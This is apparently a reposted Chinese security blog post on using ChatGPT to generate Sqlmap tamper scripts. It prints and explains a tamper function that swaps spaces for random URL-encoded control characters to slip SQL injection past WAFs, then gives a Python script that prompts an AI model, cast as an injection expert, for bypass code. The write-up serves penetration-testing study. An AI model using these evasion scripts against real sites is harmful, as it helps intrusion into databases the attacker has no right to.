有兴趣的可以加入微信群一起讨论
在当今网络安全领域,针对 Web 应用的 SQL 注入攻击仍然是一个常见的威胁。为了应对不同数据库和 WAF(Web 应用防火墙)规则的多样性,Sqlmap 提供了 tamper(篡改)脚本功能,可以在注入请求中插入特定的混淆逻辑,从而绕过检测规则。然而,对于一些复杂环境,编写高效的 tamper 脚本需要熟练的 SQL 注入、数据库和编程知识。这也是自动化生成 tamper 脚本的需求日益迫切的原因。
本文将探讨如何利用 AI 自动生成适应不同场景的 tamper 脚本,以提升 Sqlmap 在面对多样化环境时的绕过能力。
下面这是一个正常的tamper
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace, end = False, False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += random.choice(blanks)
continue
elif payload[i] == ''':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
end = True
elif payload[i] == " " and not doublequote and not quote:
if end:
retVal += random.choice(blanks[:-1])
else:
retVal += random.choice(blanks)
continue
retVal += payload[i]
return retVal
如下为代码分析
这段代码的主要目的是通过将空格和一些特殊字符替换为随机编码,以实现绕过一些防火墙和 WAF 的检测。这种技术在 SQL 注入绕过中较为常见。下面是对代码的逐行分析:
1. 变量定义:
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
该元组 blanks 定义了几种 URL 编码的空白字符。此处的编码包括 %01 到 %0F 和 %0A,这些编码会用来替换原有的空格,达到混淆目的。
2. 初始变量设置:
retVal = payload
将输入 payload 赋值给 retVal。之后,如果 payload 存在,则 retVal 被重置为空字符串。
3. 初步条件检查:
if payload:
retVal = ""
如果 payload 存在,则将 retVal 置为空字符串,准备开始生成新的输出。
4. 状态变量:
quote, doublequote, firstspace, end = False, False, False, False
这些布尔变量用于跟踪特定字符的状态:
quote: 检测单引号 ' 是否打开。
doublequote: 检测双引号 " 是否打开。
firstspace: 检测是否已处理第一个空格。
end: 检测是否出现注释标识符 # 或 -- 。
5. 主循环遍历 payload:
for i in xrange(len(payload)):
遍历 payload 的每个字符,根据字符的类型执行不同的处理。
6. 空格替换逻辑:
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += random.choice(blanks)
continue
如果 firstspace 为 False 且当前字符为空格,则随机选择一个 blanks 编码来替换空格,标记 firstspace 为 True,然后跳过当前循环。
7. 引号状态更新:
elif payload[i] == ''':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
处理单引号和双引号。如果遇到一个引号字符,将对应的状态反转。
8. 注释检测:
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
end = True
检测注释符号 # 或 -- ,若检测到,则设置 end 为 True,表示剩余部分为注释内容。
9. 空格混淆:
elif payload[i] == " " and not doublequote and not quote:
if end:
retVal += random.choice(blanks[:-1])
else:
retVal += random.choice(blanks)
continue
• 对非引号和非注释部分的空格进行混淆:
• 若 end 为 True(表示在注释部分),则随机选择 blanks(去除最后一个 %0A)的编码替换空格。
• 若 end 为 False,则使用 blanks 的任意编码替换空格。
10. 其他字符保持不变:
retVal += payload[i]
对于不满足以上条件的字符,直接将其添加到 retVal。
11. 返回值:
return retVal
最终返回处理后的 retVal。
1. 自动化需求的提出
在渗透测试过程中,针对不同的目标,安全人员经常需要编写特定的 tamper 脚本来绕过不同类型的安全防护系统。这不仅耗时,还需要高度的专业知识,而不同数据库、防火墙和环境的差异更增加了复杂性。如果能借助 AI 自动化生成 tamper 脚本,将大大提高效率和成功率。
2. AI 自动编写 Tamper 的基本思路
为了实现 AI 自动编写 tamper 脚本的功能,可以将任务分为几个关键步骤:
1. 数据采集与环境分析
-
采集常见数据库和 WAF 拦截规则的特征。
-
识别目标环境的数据库类型、注入点和拦截机制,通过此信息训练 AI 模型。
2. 训练模型生成 tamper 脚本
-
选择合适的模型:以 NLP(自然语言处理)为基础的模型(如 GPT)适合处理代码生成任务,可用于 tamper 脚本的自动编写。
-
输入输出设计:模型输入包含目标数据库类型、注入点特征和预期的绕过模式;输出为脚本代码。
-
数据集准备:收集大量现有 tamper 脚本和成功的注入请求实例,作为训练数据集。
3. 模型测试与优化
-
通过真实环境测试和模拟环境的检测反馈,优化模型。
-
对生成的脚本进行语法、功能和效果的校验,确保生成脚本能够实际绕过拦截。
4. 自动调试与微调
-
将 AI 生成的初版 tamper 脚本在目标环境中测试,根据反馈结果动态调整参数和语法。
根据以上内容我们编写了如下脚本
import openai
import os
# 使用你的API Key
openai.api_key = "你的API kyes"
def get_tampered_payloads_rule(payload):
"""
通过ChatGPT生成绕过防护的tamper规则,并根据SQLMap的规则要求生成适配的规则。
"""
response = openai.ChatCompletion.create(
model="gpt-3.5-turbo",
messages=[
{"role": "system", "content": "你是一名SQL注入专家,专门生成绕过过滤器的SQL注入tamper代码。"},
{"role": "user", "content": f"请为以下payload生成符合SQLMap使用规则的tamper脚本: '{payload}'"}
],
temperature=0.7,
max_tokens=200
)
# 解析ChatGPT返回的策略
strategies = response['choices'][0]['message']['content']
print("生成的tamper策略:n", strategies)
return strategies
def generate_sqlmap_tamper_script(payload, filename="aitamper.py"):
"""
生成SQLMap可用的tamper脚本文件,内容基于ChatGPT生成的规则。
"""
# 获取生成的规则
tamper_rules = get_tampered_payloads_rule(payload)
# 创建SQLMap tamper脚本文件
with open(filename, "w", encoding="utf-8") as file:
file.write("# SQLMap tamper script - 自动生成的tamper脚本n")
file.write("# -*- coding: utf-8 -*-nn")
file.write("def tamper(payload):n")
file.write(" tampered_payload = payloadnn")
# 将生成的规则写入脚本
tamper_rules_lines = tamper_rules.splitlines()
for line in tamper_rules_lines:
file.write(f" # {line}n") # 添加注释说明
# 根据特定生成的规则追加不同的 tamper 操作(假设为伪代码形式)
if "URL编码" in line:
file.write(
" tampered_payload = urllib.parse.quote(tampered_payload)n")
elif "Base64" in line:
file.write(" import base64n")
file.write(
" tampered_payload = base64.b64encode(tampered_payload.encode()).decode()n")
elif "Unicode" in line:
file.write(
" tampered_payload = ''.join(f"\\u{{ord(c):04x}}" for c in tampered_payload)n")
elif "空白字符" in line:
file.write(" import randomn")
file.write(
" tampered_payload = ''.join(c + (' ' * random.randint(0, 2)) for c in tampered_payload)n")
file.write(" return tampered_payloadnn")
print(f"生成的tamper脚本已保存到文件 '{filename}' 中。")
# 获取用户输入的payload
payload = input("请输入您想要tamper的payload: ")
# 生成SQLMap的Tamper脚本
generate_sqlmap_tamper_script(payload, "aitamper.py")
代码说明
-
get_tampered_payloads_rule(payload):调用OpenAI API来生成特定于SQLMap的tamper规则,基于用户提供的payload。
-
generate_sqlmap_tamper_script:根据生成的规则创建一个符合SQLMap使用的tamper脚本文件(aitamper.py),其中包含适用于SQLMap的tamper规则。
-
生成的文件:在当前目录下生成aitamper.py文件,包含ChatGPT生成的策略,适配SQLMap。
运行脚本说明
-
运行脚本并输入payload(例如%20select%20)。
-
ChatGPT会生成绕过防护的tamper规则。
-
这些规则会保存到aitamper.py中,直接符合SQLMap使用的格式。
结语:通过上述自动生成的 tamper 脚本,我们可以看到 AI 在 SQL 注入绕过技术中的应用潜力。借助 ChatGPT 等自然语言处理模型,我们能够根据不同的 payload 和绕过需求生成符合 SQLMap 使用规范的 tamper 脚本,大大提升了效率和适应性。这不仅能帮助渗透测试人员快速适配目标环境,还能降低编写自定义脚本的技术门槛。随着 AI 技术的发展,未来的自动化渗透测试工具可能会更加智能化和高效,为安全防护体系的建设带来更大的支持和保障。在复杂的网络安全对抗环境中,这种自动化工具的应用无疑将成为攻防领域的重要助力。
原文始发于微信公众号(实战安全研究):AI自动编写Sqlmap的tamper的实现计划
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论